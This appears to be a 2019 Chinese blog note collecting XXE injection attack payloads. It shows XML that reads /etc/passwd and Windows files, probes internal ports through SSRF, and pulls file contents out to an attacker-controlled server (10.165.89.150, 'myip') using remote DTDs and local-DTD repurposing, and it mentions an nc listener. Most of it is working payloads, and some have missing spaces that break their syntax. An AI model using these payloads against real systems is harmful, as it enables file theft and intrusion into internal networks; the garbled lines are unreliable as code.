XXE注入高端操作攻擊payload匯總【補】
- 2019 年 10 月 10 日
- 筆記
1、有回顯—讀伺服器文件:
外部一般實體:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITYcontent SYSTEM"file:///etc/passwd">]>
<name>&content;</name>

2、SSRF—探測埠:
適用於有回顯和blind xxe,也是外部一般實體:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY contentSYSTEM "http://10.165.89.150:88">]>
<name>&content;</name>
根據響應時間判斷:
開放埠,響應時間為16millis:

未開放埠,延遲反應1047millis:

3、Blind xxe
控制web伺服器任意發包:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITYcontent SYSTEM " http://<oursite>/hhhhhhh">]>
<name>&content;</name>
這樣可以控制伺服器向我們自己的伺服器發包,上面我們請求了自己的伺服器上一個不存在的文件/hhhhh,通過日誌可以看到請求發送成功。這裡請求web伺服器的方法也可以換成請求任意埠,然後在我們的伺服器開啟nc監聽。
4、OOB blind
OOB(Out-Of-Band)是個通用的技巧,在其他漏洞場景也有利用。在這裡其實是1和3的結合,發兩個包,分別請求web伺服器的敏感文件和我們的伺服器,以此將數據帶出:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY% files SYSTEM "file:///etc/passwd">
<!ENTITY% send SYSTEM "http://myip/?a=%files;">
%send;]>
但由於XML解析器不會解析同級參數實體的內容,所以我們在自己的伺服器上放一個dtd文件,然後通過請求遠程調用這個外部實體(像RFI)。

向伺服器發送請求:
<?xml version="1.0"encoding="utf-8"?>
<!DOCTYPE dataSYSTEM "http://10.165.89.150:88/xxe.dtd">
<data>&send;</data>
150伺服器上的DTD文件如下:
<!ENTITY % fileSYSTEM "file:///C:/jayway.txt">
<!ENTITY % all"<!ENTITY send SYSTEM'http://10.165.89.150:88/?%file;'>">
%all;
梳理一下數據流向:xml發包,重定向到dtd文件,把結果賦給data——>轉入伺服器的dtd文件,dtd中首先請求了web伺服器的C盤文件,內容賦給file參數——>再請求我們的伺服器,並將file參數作為請求的一部分,賦值給send,send送給外層的% all——>%all執行實體——>從dtd中出去,執行普通實體send。最終會把web伺服器的數據帶到我們的伺服器的日誌中:

TIP:實體分普通實體和參數實體,區別是參數實體有%;而且參數實體在[]內執行,普通實體需要在外單獨執行。這裡請求使用參數實體也可以,效果是一樣的:
<?xml version="1.0"?>
<!DOCTYPE data[
<!ENTITY % remoteSYSTEM " http://10.165.89.150:88/xxe.dtd ">
%remote;
%send;]>
<data>4</data>
5、本地DTD
用於web伺服器和我們的伺服器之間存在防護牆的情況,每個作業系統都自帶dtd文件,可以在目標主機上重新定義一些參數實體來強制執行本地dtd文件:比如windows下有C:WindowsSystem32wbemxmlcim20.dtd:

則可以構造payload,實現同樣的效果:
<?xmlversion="1.0"?>
<!DOCTYPEmessage [
<!ENTITY % remote SYSTEM
"file:///C:/Windows/System32/wbem/xml/cim20.dtd">
<!ENTITY % file SYSTEM "file:///C:/jayway.txt">
<!ENTITY % SuperClass '
<!ENTITY % eval"<!ENTITY &#x25; send SYSTEM 'http://10.165.89.150:88/?%file;'>">
%eval;
%send;
'>
%remote;
]>
<message>1234</message>
這裡使用三層參數實體嵌套,在docbookx.dtd文件中調用了% SuperClass,在SuperClass定義的實體中相繼調用了eval、和send。